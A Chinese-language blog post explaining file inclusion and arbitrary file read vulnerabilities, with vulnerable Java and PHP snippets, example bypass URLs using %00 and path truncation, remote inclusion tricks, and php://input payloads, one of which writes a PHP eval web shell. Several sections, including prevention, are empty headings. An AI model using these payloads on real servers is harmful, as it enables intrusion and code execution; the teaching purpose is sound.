文件包含漏洞与文件读取漏洞

2020-08-26  本文已影响0人  文景大大

一、什么是文件包含与文件读取漏洞

在加载执行服务器上指定路径的文件时,或者读取、预览和下载指定路径的文件时,黑客篡改了指定的路径,而开发人员又没有对指定路径进行校验检查,那么就有可能执行、读取和下载非web目录下的非开放文件内容,从而造成执行非预期的程序和信息泄露。

文件包含和文件读取漏洞的区别是:

二、漏洞发生的原理

2.1 一般的文件包含漏洞

一般的文件包含漏洞,是指没有对请求参数进行校验,就进行包含或者操作。

比如Java的代码是怎么写的:

// 从request入参中读取需要操作文件的地址
String filePath = request.get("filePath");
File file = new File(filePath);
if (file.delete()){
  log.info("删除NAS资诉附件成功,filePath="+filePath);
}

那么黑客可以很容易地尝试修改filePath地址,非法地进行文件修改。

再比如Php代码是这么写的:

<?php
    $filename  = $_GET['filename'];
    include($filename);
?>

黑客可以修改filename来加载和执行其它的文件,比如原先利用文件上传漏洞上传的木马程序等。

2.2 无限制本地文件包含漏洞

是指没有对文件路径进行特定前缀或者后缀的限制,从而造成本地的文件包含漏洞。

比如常见的危险前缀:

再比如常见的危险后缀:

2.3 有限制本地文件包含漏洞

假设我们对文件的前缀和后缀都进行了过滤,但还是有办法可以绕过的。

比如,我们限制文件名不能为jsp的后缀,然后黑客可以把文件名使用%00截断,从而绕过后缀校验:

http://127.0.0.1:8080/project/test.jsp?filename=danger.jsp%00.html

在某些低版本的服务器软件上,%00会被认为是结束符,后面的内容都会被丢弃。

还有,如果文件名很长,导致超过了服务器能识别的最长路径,那么最后的合法扩展名就会被截断,从而导致服务器加载非法后缀名的文件:

http://127.0.0.1:8080/project/test.jsp?filename=danger.jsp/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././.html

2.4 无限制远程文件包含漏洞

和本地文件包含漏洞的区别就是包含或者读取的文件不是本地的,而是通过URL加载的其它服务器上的文件。如果没有对该URL做任何校验的话,黑客就可以利用此漏洞发起对任何内网或者外网的攻击,或者用来嗅探内网服务,造成一些信息的泄露。

2.5 有限制远程文件包含漏洞

开发人员对需要访问的URL做了一定的限制,但是做的不够彻底,很容易被绕过。

比如,只对访问的远程文件后缀做校验,不允许访问jsp文件,那么很容易通过一些特殊符号进行绕过。

http://127.0.0.1:8080/project/test.jsp?filename=http://127.0.0.2:8080/1.jsp?
http://127.0.0.1:8080/project/test.jsp?filename=http://127.0.0.2:8080/1.jsp%23
http://127.0.0.1:8080/project/test.jsp?filename=http://127.0.0.2:8080/1.jsp%20

其中,%23表示#,%20表示空格,都不会产生实际的意义。

2.6 其它协议漏洞

有一些其它的协议可以打开本地的输入输出流、从而导致可以写入恶意程序到服务器中执行。比如:

URL:http://127.0.0.1:8080/project/test.php?filename=php://input
POST内容:<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST[test])>')?>
URL: http://127.0.0.1:8080/project/test.php?filename=php://input
POST内容:<?php system(‘whoami’);?>

三、如何防止漏洞?

四、参考资料

web安全原理-文件包含漏洞

任意文件读取漏洞

上一篇 下一篇

猜你喜欢

热点阅读